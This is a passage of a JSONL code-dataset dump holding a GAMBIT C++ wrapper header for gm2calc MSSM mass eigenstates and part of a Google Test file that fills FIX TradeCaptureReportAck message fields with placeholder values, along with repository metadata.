"max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "remodet_repository_wdh_part/tools/smile_demo.cpp", "max_issues_repo_name": "UrwLee/Remo_experience", "max_issues_repo_head_hexsha": "a59d5b9d6d009524672e415c77d056bc9dd88c72", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "remodet_repository_wdh_part/tools/smile_demo.cpp", "max_forks_repo_name": "UrwLee/Remo_experience", "max_forks_repo_head_hexsha": "a59d5b9d6d009524672e415c77d056bc9dd88c72", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.7573529412, "max_line_length": 172, "alphanum_fraction": 0.6412058443, "num_tokens": 1562, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5273165085228824, "lm_q2_score": 0.22270013882530887, "lm_q1q2_score": 0.11743345965292307}}
{"text": "#ifndef __wrapper_MSSMNoFV_onshell_mass_eigenstates_decl_gm2calc_1_3_0_hpp__\n#define __wrapper_MSSMNoFV_onshell_mass_eigenstates_decl_gm2calc_1_3_0_hpp__\n\n#include <cstddef>\n#include \"forward_decls_wrapper_classes.hpp\"\n#include \"gambit/Backends/wrapperbase.hpp\"\n#include \"abstract_MSSMNoFV_onshell_mass_eigenstates.hpp\"\n#include \"wrapper_MSSMNoFV_onshell_soft_parameters_decl.hpp\"\n#include \"wrapper_MSSMNoFV_onshell_physical_decl.hpp\"\n#include \"wrapper_MSSMNoFV_onshell_problems_decl.hpp\"\n#include <string>\n#include <ostream>\n#include <Eigen/Core>\n#include <complex>\n\n#include \"identification.hpp\"\n\nnamespace CAT_3(BACKENDNAME,_,SAFE_VERSION)\n{\n   \n   namespace gm2calc\n   {\n      \n      class MSSMNoFV_onshell_mass_eigenstates : public MSSMNoFV_onshell_soft_parameters\n      {\n            // Member variables: \n         public:\n            // -- Static factory pointers: \n            static gm2calc::Abstract_MSSMNoFV_onshell_mass_eigenstates* (*__factory0)();\n      \n            // -- Other member variables: \n      \n            // Member functions: \n         public:\n            void calculate_DRbar_masses();\n      \n            void clear();\n      \n            void clear_DRbar_parameters();\n      \n            void copy_DRbar_masses_to_pole_masses();\n      \n            void do_force_output(bool arg_1);\n      \n            bool do_force_output() const;\n      \n            void reorder_DRbar_masses();\n      \n            void reorder_pole_masses();\n      \n            void set_physical(const gm2calc::MSSMNoFV_onshell_physical& arg_1);\n      \n            const gm2calc::MSSMNoFV_onshell_physical& get_physical() const;\n      \n            gm2calc::MSSMNoFV_onshell_physical& get_physical();\n      \n            const gm2calc::MSSMNoFV_onshell_problems& get_problems() const;\n      \n            gm2calc::MSSMNoFV_onshell_problems& get_problems();\n      \n            int solve_ewsb_tree_level();\n      \n            int solve_ewsb();\n      \n            ::std::basic_string<char, std::char_traits<char>, std::allocator<char> > name() const;\n      \n            void print(::std::basic_ostream<char, std::char_traits<char> >& arg_1) const;\n      \n            double get_MVG() const;\n      \n            double get_MGlu() const;\n      \n            double get_MVP() const;\n      \n            double get_MVZ() const;\n      \n            double get_MFd() const;\n      \n            double get_MFs() const;\n      \n            double get_MFb() const;\n      \n            double get_MFu() const;\n      \n            double get_MFc() const;\n      \n            double get_MFt() const;\n      \n            double get_MFve() const;\n      \n            double get_MFvm() const;\n      \n            double get_MFvt() const;\n      \n            double get_MFe() const;\n      \n            double get_MFm() const;\n      \n            double get_MFtau() const;\n      \n            double get_MSveL() const;\n      \n            double get_MSvmL() const;\n      \n            double get_MSvtL() const;\n      \n            const ::Eigen::Array<double, 2, 1, 0, 2, 1>& get_MSd() const;\n      \n            double get_MSd(int i) const;\n      \n            const ::Eigen::Array<double, 2, 1, 0, 2, 1>& get_MSu() const;\n      \n            double get_MSu(int i) const;\n      \n            const ::Eigen::Array<double, 2, 1, 0, 2, 1>& get_MSe() const;\n      \n            double get_MSe(int i) const;\n      \n            const ::Eigen::Array<double, 2, 1, 0, 2, 1>& get_MSm() const;\n      \n            double get_MSm(int i) const;\n      \n            const ::Eigen::Array<double, 2, 1, 0, 2, 1>& get_MStau() const;\n      \n            double get_MStau(int i) const;\n      \n            const ::Eigen::Array<double, 2, 1, 0, 2, 1>& get_MSs() const;\n      \n            double get_MSs(int i) const;\n      \n            const ::Eigen::Array<double, 2, 1, 0, 2, 1>& get_MSc() const;\n      \n            double get_MSc(int i) const;\n      \n            const ::Eigen::Array<double, 2, 1, 0, 2, 1>& get_MSb() const;\n      \n            double get_MSb(int i) const;\n      \n            const ::Eigen::Array<double, 2, 1, 0, 2, 1>& get_MSt() const;\n      \n            double get_MSt(int i) const;\n      \n            const ::Eigen::Array<double, 2, 1, 0, 2, 1>& get_Mhh() const;\n      \n            double get_Mhh(int i) const;\n      \n            const ::Eigen::Array<double, 2, 1, 0, 2, 1>& get_MAh() const;\n      \n            double get_MAh(int i) const;\n      \n            const ::Eigen::Array<double, 2, 1, 0, 2, 1>& get_MHpm() const;\n      \n            double get_MHpm(int i) const;\n      \n            const ::Eigen::Array<double, 4, 1, 0, 4, 1>& get_MChi() const;\n      \n            double get_MChi(int i) const;\n      \n            const ::Eigen::Array<double, 2, 1, 0, 2, 1>& get_MCha() const;\n      \n            double get_MCha(int i) const;\n      \n            double get_MVWm() const;\n      \n            ::Eigen::Array<double, 1, 1, 0, 1, 1> get_MChargedHiggs() const;\n      \n            ::Eigen::Array<double, 1, 1, 0, 1, 1> get_MPseudoscalarHiggs() const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_ZD() const;\n      \n            double get_ZD(int i, int k) const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_ZU() const;\n      \n            double get_ZU(int i, int k) const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_ZE() const;\n      \n            double get_ZE(int i, int k) const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_ZM() const;\n      \n            double get_ZM(int i, int k) const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_ZTau() const;\n      \n            double get_ZTau(int i, int k) const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_ZS() const;\n      \n            double get_ZS(int i, int k) const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_ZC() const;\n      \n            double get_ZC(int i, int k) const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_ZB() const;\n      \n            double get_ZB(int i, int k) const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_ZT() const;\n      \n            double get_ZT(int i, int k) const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_ZH() const;\n      \n            double get_ZH(int i, int k) const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_ZA() const;\n      \n            double get_ZA(int i, int k) const;\n      \n            const ::Eigen::Matrix<double, 2, 2, 0, 2, 2>& get_ZP() const;\n      \n            double get_ZP(int i, int k) const;\n      \n            const ::Eigen::Matrix<std::complex<double>, 4, 4, 0, 4, 4>& get_ZN() const;\n      \n            const ::std::complex<double>& get_ZN(int i, int k) const;\n      \n            const ::Eigen::Matrix<std::complex<double>, 2, 2, 0, 2, 2>& get_UM() const;\n      \n            const ::std::complex<double>& get_UM(int i, int k) const;\n      \n            const ::Eigen::Matrix<std::complex<double>, 2, 2, 0, 2, 2>& get_UP() const;\n      \n            const ::std::complex<double>& get_UP(int i, int k) const;\n      \n            void set_PhaseGlu(::std::complex<double> PhaseGlu_);\n      \n            ::std::complex<double> get_PhaseGlu() const;\n      \n            double get_mass_matrix_VG() const;\n      \n            void calculate_MVG();\n      \n            double get_mass_matrix_Glu() const;\n      \n            void calculate_MGlu();\n      \n            double get_mass_matrix_VP() const;\n      \n            void calculate_MVP();\n      \n            double get_mass_matrix_VZ() const;\n      \n            void calculate_MVZ();\n      \n            double get_mass_matrix_Fd() const;\n      \n            void calculate_MFd();\n      \n            double get_mass_matrix_Fs() const;\n      \n            void calculate_MFs();\n      \n            double get_mass_matrix_Fb() const;\n      \n            void calculate_MFb();\n      \n            double get_mass_matrix_Fu() const;\n      \n            void calculate_MFu();\n      \n            double get_mass_matrix_Fc() const;\n      \n            void calculate_MFc();\n      \n            double get_mass_matrix_Ft() const;\n      \n            void calculate_MFt();\n      \n            double get_mass_matrix_Fve() const;\n      \n            void calculate_MFve();\n      \n            double get_mass_matrix_Fvm() const;\n      \n            void calculate_MFvm();\n      \n            double get_mass_matrix_Fvt() const;\n      \n            void calculate_MFvt();\n      \n            double get_mass_matrix_Fe() const;\n      \n            void calculate_MFe();\n      \n            double get_mass_matrix_Fm() const;\n      \n            void calculate_MFm();\n      \n            double get_mass_matrix_Ftau() const;\n      \n            void calculate_MFtau();\n      \n            double get_mass_matrix_SveL() const;\n      \n            void calculate_MSveL();\n      \n            double get_mass_matrix_SvmL() const;\n      \n            void calculate_MSvmL();\n      \n            double get_mass_matrix_SvtL() const;\n      \n            void calculate_MSvtL();\n      \n            ::Eigen::Matrix<double, 2, 2, 0, 2, 2> get_mass_matrix_Sd() const;\n      \n            void calculate_MSd();\n      \n            ::Eigen::Matrix<double, 2, 2, 0, 2, 2> get_mass_matrix_Su() const;\n      \n            void calculate_MSu();\n      \n            ::Eigen::Matrix<double, 2, 2, 0, 2, 2> get_mass_matrix_Se() const;\n      \n            void calculate_MSe();\n      \n            ::Eigen::Matrix<double, 2, 2, 0, 2, 2> get_mass_matrix_Sm() const;\n      \n            void calculate_MSm();\n      \n            ::Eigen::Matrix<double, 2, 2, 0, 2, 2> get_mass_matrix_Stau() const;\n      \n            void calculate_MStau();\n      \n            ::Eigen::Matrix<double, 2, 2, 0, 2, 2> get_mass_matrix_Ss() const;\n      \n            void calculate_MSs();\n      \n            ::Eigen::Matrix<double, 2, 2, 0, 2, 2> get_mass_matrix_Sc() const;\n      \n            void calculate_MSc();\n      \n            ::Eigen::Matrix<double, 2, 2, 0, 2, 2> get_mass_matrix_Sb() const;\n      \n            void calculate_MSb();\n      \n            ::Eigen::Matrix<double, 2, 2, 0, 2, 2> get_mass_matrix_St() const;\n      \n            void calculate_MSt();\n      \n            ::Eigen::Matrix<double, 2, 2, 0, 2, 2> get_mass_matrix_hh() const;\n      \n            void calculate_Mhh();\n      \n            ::Eigen::Matrix<double, 2, 2, 0, 2, 2> get_mass_matrix_Ah() const;\n      \n            void calculate_MAh();\n      \n            ::Eigen::Matrix<double, 2, 2, 0, 2, 2> get_mass_matrix_Hpm() const;\n      \n            void calculate_MHpm();\n      \n            ::Eigen::Matrix<double, 4, 4, 0, 4, 4> get_mass_matrix_Chi() const;\n      \n            void calculate_MChi();\n      \n            ::Eigen::Matrix<double, 2, 2, 0, 2, 2> get_mass_matrix_Cha() const;\n      \n            void calculate_MCha();\n      \n            double get_mass_matrix_VWm() const;\n      \n            void calculate_MVWm();\n      \n            double get_ewsb_eq_hh_1() const;\n      \n            double get_ewsb_eq_hh_2() const;\n      \n            double ThetaW() const;\n      \n            double v() const;\n      \n      \n            // Wrappers for original constructors: \n         public:\n            MSSMNoFV_onshell_mass_eigenstates();\n      \n            // Special pointer-based constructor: \n            MSSMNoFV_onshell_mass_eigenstates(gm2calc::Abstract_MSSMNoFV_onshell_mass_eigenstates* in);\n      \n            // Copy constructor: \n            MSSMNoFV_onshell_mass_eigenstates(const MSSMNoFV_onshell_mass_eigenstates& in);\n      \n            // Assignment operator: \n            MSSMNoFV_onshell_mass_eigenstates& operator=(const MSSMNoFV_onshell_mass_eigenstates& in);\n      \n            // Destructor: \n            ~MSSMNoFV_onshell_mass_eigenstates();\n      \n            // Returns correctly casted pointer to Abstract class: \n            gm2calc::Abstract_MSSMNoFV_onshell_mass_eigenstates* get_BEptr() const;\n      \n      };\n   }\n   \n}\n\n\n#include \"gambit/Backends/backend_undefs.hpp\"\n\n#endif /* __wrapper_MSSMNoFV_onshell_mass_eigenstates_decl_gm2calc_1_3_0_hpp__ */\n", "meta": {"hexsha": "4f26fd2255a5a8a6874bbf29fab72a340cd7e45f", "size": 12147, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "Backends/include/gambit/Backends/backend_types/gm2calc_1_3_0/wrapper_MSSMNoFV_onshell_mass_eigenstates_decl.hpp", "max_stars_repo_name": "aaronvincent/gambit_aaron", "max_stars_repo_head_hexsha": "a38bd6fc10d781e71f2adafd401c76e1e3476b05", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2020-09-08T20:05:27.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-26T07:57:56.000Z", "max_issues_repo_path": "Backends/include/gambit/Backends/backend_types/gm2calc_1_3_0/wrapper_MSSMNoFV_onshell_mass_eigenstates_decl.hpp", "max_issues_repo_name": "aaronvincent/gambit_aaron", "max_issues_repo_head_hexsha": "a38bd6fc10d781e71f2adafd401c76e1e3476b05", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": 9.0, "max_issues_repo_issues_event_min_datetime": "2020-10-19T09:56:17.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-28T06:12:03.000Z", "max_forks_repo_path": "Backends/include/gambit/Backends/backend_types/gm2calc_1_3_0/wrapper_MSSMNoFV_onshell_mass_eigenstates_decl.hpp", "max_forks_repo_name": "aaronvincent/gambit_aaron", "max_forks_repo_head_hexsha": "a38bd6fc10d781e71f2adafd401c76e1e3476b05", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": 5.0, "max_forks_repo_forks_event_min_datetime": "2020-09-08T02:23:34.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-23T08:48:04.000Z", "avg_line_length": 29.9187192118, "max_line_length": 103, "alphanum_fraction": 0.5231744464, "num_tokens": 3292, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.23091976822203988, "lm_q1q2_score": 0.11636189610423098}}
{"text": "#include <gtest/gtest.h>\n\n#include \"converter/fixml2fix_converter.hxx\"\n#include \"converter/xml_element_helper.hxx\"\n#include \"converter/fix_helper.hxx\"\n#include \"util/fix_env.hxx\"\n#include \"tools/test_util.hxx\"\n\n#include <boost/log/trivial.hpp>\n\n#include <quickfix/fix50sp2/TradeCaptureReportAck.h>\n\n#include <list>\n#include <set>\n#include <string>\n#include <utility>\n\nusing namespace std;\nusing namespace fix2xml;\n\nTEST ( TradeCaptureReportAck, set_fields)\n{\n\n  fixml2fix_converter converter {\"../spec/fix/FIX50SP2.xml\", \"../spec/xsd/fixml-main-5-0-SP2.xsd\"};\n  auto& fixml_dict = converter.fixml_dico();\n  ASSERT_TRUE(converter.init());\n  ASSERT_TRUE(converter.parse_fixt_dico(\"../spec/fix/FIXT11.xml\"));\n  FIX50SP2::TradeCaptureReportAck msg;\n\n  list<multiset<string>> all_values;\n  multiset<string> all_compo_names;\n  multiset<string> TradeCaptureReportAck_0;\n  set_field(msg, FIX::AsOfIndicator{'1'}, TradeCaptureReportAck_0);\n  FIX::AvgPx AvgPx_8;\n  AvgPx_8.setString(\"14588538\");\nset_field(msg, AvgPx_8, TradeCaptureReportAck_0);\n  set_field(msg, FIX::AvgPxIndicator{1}, TradeCaptureReportAck_0);\n  FIX::CalculatedCcyLastQty CalculatedCcyLastQty_2;\n  CalculatedCcyLastQty_2.setString(\"16736696\");\nset_field(msg, CalculatedCcyLastQty_2, TradeCaptureReportAck_0);\n  set_field(msg, FIX::ClearingBusinessDate{\"LOCALMKTDATE_938551328\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::ClearingFeeIndicator{\"STRING_5\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::CopyMsgIndicator{true}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::Currency{\"JPY\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::EncodedText{\"DATA_2016877448\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::EncodedTextLen{1578623978}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::ExecID{\"STRING_549715280\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::ExecRestatementReason{3}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::ExecType{'5'}, TradeCaptureReportAck_0);\n  FIX::FeeMultiplier FeeMultiplier_1;\n  FeeMultiplier_1.setString(\"15466238\");\nset_field(msg, FeeMultiplier_1, TradeCaptureReportAck_0);\n  set_field(msg, FIX::FirmTradeID{\"STRING_2075485286\"}, TradeCaptureReportAck_0);\n  FIX::GrossTradeAmt GrossTradeAmt_6;\n  GrossTradeAmt_6.setString(\"10752087\");\nset_field(msg, GrossTradeAmt_6, TradeCaptureReportAck_0);\n  FIX::LastForwardPoints LastForwardPoints_2;\n  LastForwardPoints_2.setString(\"5392684\");\nset_field(msg, LastForwardPoints_2, TradeCaptureReportAck_0);\n  set_field(msg, FIX::LastMkt{\"EXCHANGE_1027243380\"}, TradeCaptureReportAck_0);\n  FIX::LastParPx LastParPx_10;\n  LastParPx_10.setString(\"6860315\");\nset_field(msg, LastParPx_10, TradeCaptureReportAck_0);\n  FIX::LastPx LastPx_18;\n  LastPx_18.setString(\"18711757\");\nset_field(msg, LastPx_18, TradeCaptureReportAck_0);\n  FIX::LastQty LastQty_11;\n  LastQty_11.setString(\"9615594\");\nset_field(msg, LastQty_11, TradeCaptureReportAck_0);\n  FIX::LastSpotRate LastSpotRate_2;\n  LastSpotRate_2.setString(\"18572707\");\nset_field(msg, LastSpotRate_2, TradeCaptureReportAck_0);\n  FIX::LastSwapPoints LastSwapPoints_2;\n  LastSwapPoints_2.setString(\"1961139\");\nset_field(msg, LastSwapPoints_2, TradeCaptureReportAck_0);\n  set_field(msg, FIX::LastUpdateTime{FIX::UTCTIMESTAMP(5, 0, 14, 15, 9, 2016)}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::MarketID{\"EXCHANGE_33403699\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::MarketSegmentID{\"STRING_481748045\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::MatchStatus{'1'}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::MatchType{\"STRING_A1\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::MessageEventSource{\"STRING_1420299373\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::MultiLegReportingType{'2'}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::OrigSecondaryTradeID{\"STRING_750702347\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::OrigTradeDate{\"LOCALMKTDATE_907968470\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::OrigTradeHandlingInstr{'4'}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::OrigTradeID{\"STRING_620096147\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::PreviouslyReported{true}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::PriceType{9}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::PublishTrdIndicator{true}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::QtyType{0}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::ResponseDestination{\"STRING_428715914\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::ResponseTransportType{0}, TradeCaptureReportAck_0);\n  FIX::RndPx RndPx_4;\n  RndPx_4.setString(\"20864693\");\nset_field(msg, RndPx_4, TradeCaptureReportAck_0);\n  set_field(msg, FIX::RptSys{\"STRING_967984341\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::SecondaryExecID{\"STRING_620972353\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::SecondaryFirmTradeID{\"STRING_625017214\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::SecondaryTradeID{\"STRING_691676425\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::SecondaryTradeReportID{\"STRING_1582531824\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::SecondaryTradeReportRefID{\"STRING_334804354\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::SecondaryTrdType{887790409}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::SettlCurrency{\"CHF\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::SettlDate{\"LOCALMKTDATE_1884899989\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::SettlSessID{\"STRING_RTH\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::SettlSessSubID{\"STRING_761254843\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::SettlType{\"STRING_1\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::ShortSaleReason{4}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::SubscriptionRequestType{'2'}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::Text{\"STRING_1389542250\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TierCode{\"STRING_2001008714\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TradeDate{\"LOCALMKTDATE_354248248\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TradeHandlingInstr{'0'}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TradeID{\"STRING_946103584\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TradeLegRefID{\"STRING_1104950595\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TradeLinkID{\"STRING_1570326446\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TradePublishIndicator{1}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TradeReportID{\"STRING_1725046742\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TradeReportRefID{\"STRING_1909435247\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TradeReportRejectReason{99}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TradeReportTransType{3}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TradeReportType{6}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TransactTime{FIX::UTCTIMESTAMP(9, 18, 16, 6, 5, 2015)}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TransferReason{\"STRING_1040523578\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TrdMatchID{\"STRING_1672019427\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TrdRptStatus{1}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TrdSubType{29}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::TrdType{49}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::UnderlyingTradingSessionID{\"STRING_874155783\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::UnderlyingTradingSessionSubID{\"STRING_1673209767\"}, TradeCaptureReportAck_0);\n  set_field(msg, FIX::VenueType{'X'}, TradeCaptureReportAck_0);\n  all_values.push_back(TradeCaptureReportAck_0);\n\n  all_compo_names.insert(\"TradeCaptureReportAck\");\n\n  // Instrument\n  multiset<string> Instrument_98;\n  FIX::AttachmentPoint AttachmentPoint_98;\n  AttachmentPoint_98.setString(\"99.890000\");\nset_field(msg, AttachmentPoint_98, Instrument_98);\n  set_field(msg, FIX::CFICode{\"STRING_1457031263\"}, Instrument_98);\n  set_field(msg, FIX::CPProgram{99}, Instrument_98);\n  set_field(msg, FIX::CPRegType{\"STRING_1024008591\"}, Instrument_98);\n  FIX::CapPrice CapPrice_98;\n  CapPrice_98.setString(\"13105563\");\nset_field(msg, CapPrice_98, Instrument_98);\n  FIX::ContractMultiplier ContractMultiplier_98;\n  ContractMultiplier_98.setString(\"7771005\");\nset_field(msg, ContractMultiplier_98, Instrument_98);\n  set_field(msg, FIX::ContractMultiplierUnit{0}, Instrument_98);\n  set_field(msg, FIX::ContractSettlMonth{\"MONTHYEAR_109176265\"}, Instrument_98);\n  set_field(msg, FIX::CountryOfIssue{\"COUNTRY_1882051135\"}, Instrument_98);\n  set_field(msg, FIX::CouponPaymentDate{\"LOCALMKTDATE_1109209366\"}, Instrument_98);\n  FIX::CouponRate CouponRate_98;\n  CouponRate_98.setString(\"2.410000\");\nset_field(msg, CouponRate_98, Instrument_98);\n  set_field(msg, FIX::CreditRating{\"STRING_1459614230\"}, Instrument_98);\n  set_field(msg, FIX::DatedDate{\"LOCALMKTDATE_871160965\"}, Instrument_98);\n  FIX::DetachmentPoint DetachmentPoint_98;\n  DetachmentPoint_98.setString(\"62.420000\");\nset_field(msg, DetachmentPoint_98, Instrument_98);\n  set_field(msg, FIX::EncodedIssuer{\"DATA_702904659\"}, Instrument_98);\n  set_field(msg, FIX::EncodedIssuerLen{1644373147}, Instrument_98);\n  set_field(msg, FIX::EncodedSecurityDesc{\"DATA_432484509\"}, Instrument_98);\n  set_field(msg, FIX::EncodedSecurityDescLen{1687407708}, Instrument_98);\n  set_field(msg, FIX::ExerciseStyle{0}, Instrument_98);\n  FIX::Factor Factor_98;\n  Factor_98.setString(\"21372407\");\nset_field(msg, Factor_98, Instrument_98);\n  set_field(msg, FIX::FlexProductEligibilityIndicator{false}, Instrument_98);\n  set_field(msg, FIX::FlexibleIndicator{true}, Instrument_98);\n  FIX::FloorPrice FloorPrice_98;\n  FloorPrice_98.setString(\"2387061\");\nset_field(msg, FloorPrice_98, Instrument_98);\n  set_field(msg, FIX::FlowScheduleType{3}, Instrument_98);\n  set_field(msg, FIX::InstrRegistry{\"STRING_1070838209\"}, Instrument_98);\n  set_field(msg, FIX::InstrmtAssignmentMethod{'1'}, Instrument_98);\n  set_field(msg, FIX::InterestAccrualDate{\"LOCALMKTDATE_2110056963\"}, Instrument_98);\n  set_field(msg, FIX::IssueDate{\"LOCALMKTDATE_2085260764\"}, Instrument_98);\n  set_field(msg, FIX::Issuer{\"STRING_102117729\"}, Instrument_98);\n  set_field(msg, FIX::ListMethod{0}, Instrument_98);\n  set_field(msg, FIX::LocaleOfIssue{\"STRING_1713454513\"}, Instrument_98);\n  set_field(msg, FIX::MaturityDate{\"LOCALMKTDATE_1884067718\"}, Instrument_98);\n  set_field(msg, FIX::MaturityMonthYear{\"MONTHYEAR_945330697\"}, Instrument_98);\n  set_field(msg, FIX::MaturityTime{\"TZTIMEONLY_2136306805\"}, Instrument_98);\n  FIX::MinPriceIncrement MinPriceIncrement_98;\n  MinPriceIncrement_98.setString(\"7605926\");\nset_field(msg, MinPriceIncrement_98, Instrument_98);\n  FIX::MinPriceIncrementAmount MinPriceIncrementAmount_98;\n  MinPriceIncrementAmount_98.setString(\"1084033\");\nset_field(msg, MinPriceIncrementAmount_98, Instrument_98);\n  set_field(msg, FIX::NTPositionLimit{765923697}, Instrument_98);\n  FIX::NotionalPercentageOutstanding NotionalPercentageOutstanding_98;\n  NotionalPercentageOutstanding_98.setString(\"55.810000\");\nset_field(msg, NotionalPercentageOutstanding_98, Instrument_98);\n  set_field(msg, FIX::OptAttribute{'2'}, Instrument_98);\n  FIX::OptPayoutAmount OptPayoutAmount_98;\n  OptPayoutAmount_98.setString(\"5004911\");\nset_field(msg, OptPayoutAmount_98, Instrument_98);\n  set_field(msg, FIX::OptPayoutType{1}, Instrument_98);\n  FIX::OriginalNotionalPercentageOutstanding OriginalNotionalPercentageOutstanding_98;\n  OriginalNotionalPercentageOutstanding_98.setString(\"98.840000\");\nset_field(msg, OriginalNotionalPercentageOutstanding_98, Instrument_98);\n  set_field(msg, FIX::Pool{\"STRING_1960105414\"}, Instrument_98);\n  set_field(msg, FIX::PositionLimit{132362264}, Instrument_98);\n  set_field(msg, FIX::PriceQuoteMethod{\"STRING_PCTPAR\"}, Instrument_98);\n  set_field(msg, FIX::PriceUnitOfMeasure{\"STRING_515526425\"}, Instrument_98);\n  FIX::PriceUnitOfMeasureQty PriceUnitOfMeasureQty_98;\n  PriceUnitOfMeasureQty_98.setString(\"17767354\");\nset_field(msg, PriceUnitOfMeasureQty_98, Instrument_98);\n  set_field(msg, FIX::Product{3}, Instrument_98);\n  set_field(msg, FIX::ProductComplex{\"STRING_55450486\"}, Instrument_98);\n  set_field(msg, FIX::PutOrCall{1}, Instrument_98);\n  set_field(msg, FIX::RedemptionDate{\"LOCALMKTDATE_1870674106\"}, Instrument_98);\n  set_field(msg, FIX::RepoCollateralSecurityType{\"STRING_1200849949\"}, Instrument_98);\n  FIX::RepurchaseRate RepurchaseRate_98;\n  RepurchaseRate_98.setString(\"15.520000\");\nset_field(msg, RepurchaseRate_98, Instrument_98);\n  set_field(msg, FIX::RepurchaseTerm{2109380257}, Instrument_98);\n  set_field(msg, FIX::RestructuringType{\"STRING_MM\"}, Instrument_98);\n  set_field(msg, FIX::SecurityDesc{\"STRING_307996113\"}, Instrument_98);\n  set_field(msg, FIX::SecurityExchange{\"EXCHANGE_1337342202\"}, Instrument_98);\n  set_field(msg, FIX::SecurityGroup{\"STRING_1201862657\"}, Instrument_98);\n  set_field(msg, FIX::SecurityID{\"STRING_245773229\"}, Instrument_98);\n  set_field(msg, FIX::SecurityIDSource{\"STRING_K\"}, Instrument_98);\n  set_field(msg, FIX::SecurityStatus{\"STRING_2\"}, Instrument_98);\n  set_field(msg, FIX::SecuritySubType{\"STRING_1959227743\"}, Instrument_98);\n  set_field(msg, FIX::SecurityType{\"STRING_LQN\"}, Instrument_98);\n  set_field(msg, FIX::Seniority{\"STRING_SB\"}, Instrument_98);\n  set_field(msg, FIX::SettlMethod{'C'}, Instrument_98);\n  set_field(msg, FIX::SettleOnOpenFlag{\"STRING_1936636663\"}, Instrument_98);\n  set_field(msg, FIX::StateOrProvinceOfIssue{\"STRING_1743896166\"}, Instrument_98);\n  